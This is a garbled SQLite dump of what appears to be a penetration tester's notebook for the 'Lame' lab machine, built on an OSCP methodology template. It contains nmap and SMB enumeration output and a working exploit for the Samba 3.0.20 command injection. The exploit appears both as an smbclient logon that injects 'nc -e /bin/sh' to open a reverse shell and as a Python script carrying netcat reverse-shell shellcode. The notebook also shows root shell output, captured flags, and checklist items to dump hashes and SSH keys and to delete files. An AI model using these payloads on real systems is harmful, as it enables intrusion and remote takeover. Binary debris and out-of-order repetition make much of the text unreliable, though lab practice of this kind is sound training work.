SQLite format 3 @ -
Y /C indexsqlite_autoindex_children_1children tableimageimageCREATE TABLE image (
node_id INTEGER,
offset INTEGER,
justification TEXT,
anchor TEXT,
png BLOB,
filename TEXT,
link TEXT,
time INTEGER
)
wtablegridgridCREATE TABLE grid (
node_id INTEGER,
offset INTEGER,
justification TEXT,
txt TEXT,
col_min INTEGER,
col_max INTEGER
)btablecodeboxcodeboxCREATE TABLE codebox (
node_id INTEGER,
offset INTEGER,
justification TEXT,
txt TEXT,
syntax TEXT,
width INTEGER,
height INTEGER,
is_width_pix INTEGER,
do_highl_bra INTEGER,
do_show_linenum INTEGER
)mtablenodenodeCREATE TABLE node (
node_id INTEGER UNIQUE,
name TEXT,
txt TEXT,
syntax TEXT,
tags TEXT,
is_ro INTEGER,
is_richtxt INTEGER,
has_codebox INTEGER,
has_table INTEGER,
has_image INTEGER,
level INTEGER,
ts_creation INTEGER,
ts_lastsave INTEGER
)'; indexsqlite_autoindex_node_1node
'
"CMScustom-colors$A[Y)A[Y}xn'
!WebDavcustom-colors$A[W;A[X2v)'
Dirb\DirBustercustom-colors$A?&xA[V1
m'
Niktocustom-colors$A?&oA?&l%'
Web Servicescustom-colors"A?&Nk'
UDPcustom-colors$A?&ЍA[?Lk'
TCPcustom-colors$A?&A[>CXk#'
Enumerationcustom-colors*A?&s.=ui '
10.x.x.x nmap -sC -sV -Pn -oA ./lame 10.10.10.3
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-07 15:50 EDT
Nmap scan report for 10.10.10.3
Host is up (0.064s latency).
Not shown: 996 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.27
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_E k#'
Enumerationcustom-colors*A?&s.=u
` ; m'
Niktocustom-colors$A?&oA?&l%'
Web Servicescustom-colors"A?&Nk'
UDPcustom-colors$A?&ЍA[?Lk '
"CMScustom-colors$A[Y)A[Y}xn'
!WebDavcustom-colors$A[W;A[X2v)'
Dirb\DirBustercustom-colors$A?&xA[V1
n
)'
Other Servicescustom-colorsXA[Ad
C C k : !'
SMBsudo vi /etc/samba/smb.conf
client min protocol = NT1
client max protocol = NT1
smbclient -L //10.10.10.3
Enter WORKGROUP\kali's password:
Anonymous login successful
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
tmp Disk oh noes!
opt Disk
IPC$ IPC IPC Service (lame server (Samba 3.0.20-Debian))
ADMIN$ IPC IPC Service (lame server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP LAME
custom-colorsA[PAף:4 +
X # X /]'
Running ProcessesProcess Listcustom-colors$AIwq&#w'
File SystemWriteable Files\Directories
Directory List
custom-colors$A[3QZ-U'
Host InformationOperating System
Architecture
Domain
Installed Updates
custom-colors$A[4*
O O\ O
G'
NetworkIPConfig\IFConfig
Network Processes
ARP
DNS
Routecustom-colors$A[*܁p)'
Users & GroupsUsers
Groupscustom-colors$A[k׀.9q'
Installed ApplicationsInstalled Applicationscustom-colors$AILg
: ^ : O !+e'
Priv EscalationService Exploited:
Vulnerability Type:
Exploit POC:
Description:
Discovery of Vulnerability
SMB version number 3.0.20
Exploit Code Used
smb: \> logon "./=`nohup nc -e /bin/sh 10.10.XX.XX 9999`"
Password: [Hit Enter Here]
Proof\Local.txt File
☐ Screenshot with ifconfig\ipconfig
☐ Submit too OSCP Exam Panel
custom-colorsAף:Bw )c'
Scheduled JobsScheduled Taskscustom-colors$ANl
-b o
/9'
Software VersionsSoftware Versions
custom-colorsVA?& c@ / '
Proof\Flags\Otherroot@lame:/home/makis# cat user.txt
cat user.txt
69454a937d94f5f0225ea00acd2e84c5
root@lame:/home/makis# cat /root/root.txt
cat /root/root.txt
92caac3be140ef409e45721348a4e9df
root@lame:/home/makis#
connect to [10.10.14.27] from (UNKNOWN) [10.10.10.3] 48242
whoami
root
python -c 'import pty;pty.spawn("/bin/bash")'
root@lame:/# ifconfig
ifconfig
eth0 Link encap i '
Passwordscustom-colors$A?'!f'
Hashescustom-colors$A?&& ich_text>Individual Host Scanning
☐ nmap --top-ports 20 --open -iL iplist.txt
☐ nmap -sS -A -sV -O -p- ipaddress
☐ nmap -sU ipaddress
Service Scanning
WebApp
☐ Nikto
☐ dirb
☐ dirbuster
☐ wpscan
☐ dotdotpwn
☐ view source
☐ davtest\cadevar
☐ droopscan
☐ joomscan
☐ LFI\RFI Test
Linux\Windows
☐ snmpwalk -c public -v1 ipaddress 1
☐ smbclient -L //ipa ddress
☐ showmount -e ipaddress port
☐ rpcinfo
☐ Enum4Linux
Anything Else
☐ nmap scripts (locate *nse* | grep servicename)
☐ hydra
☐ MSF Aux Modules
☐ Download the softward
Exploitation
☐ Gather Version Numbes
☐ Searchsploit
☐ Default Creds
☐ Creds Previously Gathered
☐ Download the software
Post Exploitation
Linux
☐ linux-local-enum.sh
☐ linuxprivchecker.py
☐ linux-exploit-suggestor.sh
☐ unix-privesc-check.py
Windows
☐ wpc.exe
☐ windows-exploit-suggestor.py
☐ windows_privesc_check.py
☐ windows-privesc-check2.exe
Priv Escalation
☐ acesss internal services (portfwd)
☐ add account
Windows
☐ List of exploits
Linux
☐ sudo su
☐ KernelDB
☐ Searchsploit
Final
☐ Screenshot of IPConfig\WhoamI
☐ Copy proof.txt
☐ Dump hashes
☐ Dump SSH Keys
☐ Delete filescustom-colorsANl< A[ڸ.,
" ( #i'
MethodologyNetwork Scanning
☐ nmap -sn 10.11.1.*
☐ nmap -sL 10.11.1.*
☐ nbtscan -r 10.11.1.0/24
☐ smbtree
custom-colorsAף7
h '
Log Bookcustom-colors(AI^ :Ethernet HWaddr 00:50:56:b9:59:7e
inet addr:10.10.10.3 Bcast:10.10.10.255 Mask:255.255.255.0
inet6 addr: dead:beef::250:56ff:feb9:597e/64 Scope:Global
inet6 addr: fe80::250:56ff:feb9:597e/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1657 errors:0 dropped:0 overruns:0 frame:0
TX packets:280 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:133541 (130.4 KB) TX bytes:36084 (35.2 KB)
Interrupt:19 Base address:0x2000
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:217 errors:0 dropped:0 overruns:0 frame:0
TX packets:217 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:80957 (79.0 KB) TX bytes:80957 (79.0 KB)
custom-colors$Aף9'
/9'
Software VersionsSoftware Versions
Potential Exploitscustom-colorsANlH{x
('%w'
ExploitationService Exploited:
Vulnerability Type:
Exploit POC:
Description:
Discovery of Vulnerability
Exploit Code Used
Service Exploited:
Vulnerability Type:
Exploit POC:
custom-colorsA[EϯA[Tc i
'
DBcustom-colorsA[EA[Selk '
SNMPcustom-colorsA[DԢA[G!B
v)'
Script Resultscustom-colorsXAIZ|xAIq/'
Post Exploitationcustom-colors*AIZnn vy">Description:
Discovery of Vulnerability
Exploit Code Used
#!/usr/bin/python
from smb.SMBConnection import SMBConnection
import random, string
from smb import smb_structs
smb_structs.SUPPORT_SMB2 = False
import sys
# Just a python version of a very simple Samba exploit.
# It doesn't have to be pretty because the shellcode is executed
# in the username field.
# Based off this Metasploit module - https://www.exploit-db.com/exploits/16320/
# Configured SMB connection options with info from here:
# https://pythonhosted.org/pysmb/api/smb_SMBConnection.html
# Use the commandline argument as the target:
if len(sys.argv) < 2:
print "\nUsage: " + sys.argv[0] + " <HOST>\n"
sys.exit()
# Shellcode:
# msfvenom -p cmd/unix/reverse_netcat LHOST=10.10.14.27 LPORT=9999 -f python
buf = ""
buf += "\x6d\x6b\x66\x69\x66\x6f\x20\x2f\x74\x6d\x70\x2f\x6b"
buf += "\x62\x67\x61\x66\x3b\x20\x6e\x63\x20\x31\x30\x2e\x30"
buf += "\x2e\x30\x2e\x33\x35\x20\x39\x39\x39\x39\x20\x30\x3c"
buf += "\x2f\x74\x6d\x70\x2f\x6b\x62\x67\x61\x66\x20\x7c\x20"
buf += "\x2f\x62\x69\x6e\x2f\x73\x68\x20\x3e\x2f\x74\x6d\x70"
buf += "\x2f\x6b\x62\x67\x61\x66\x20\x32\x3e\x26\x31\x3b\x20"
buf += "\x72\x6d\x20\x2f\x74\x6d\x70\x2f\x6b\x62\x67\x61\x66"
buf += "\x20"
username = "/=`nohup " + buf + "`"
password = ""
conn = SMBConnection(username, password, "SOMEBODYHACKINGYOU" , "METASPLOITABLE", use_ntlm_v2 = False)
assert conn.connect(sys.argv[1], 445)
Proof\Local.txt File
☐ Screenshot with ifconfig\ipconfig
☐ Submit too OSCP Exam Panel
custom-colors,Aף7 ` nd of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
|_smb-security-mode: ERROR: Script execution failed (use -d to debug)
|_smb2-time: Protocol negotiation failed (SMB2)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 71.36 secondscustom-colors$A?&Aף:0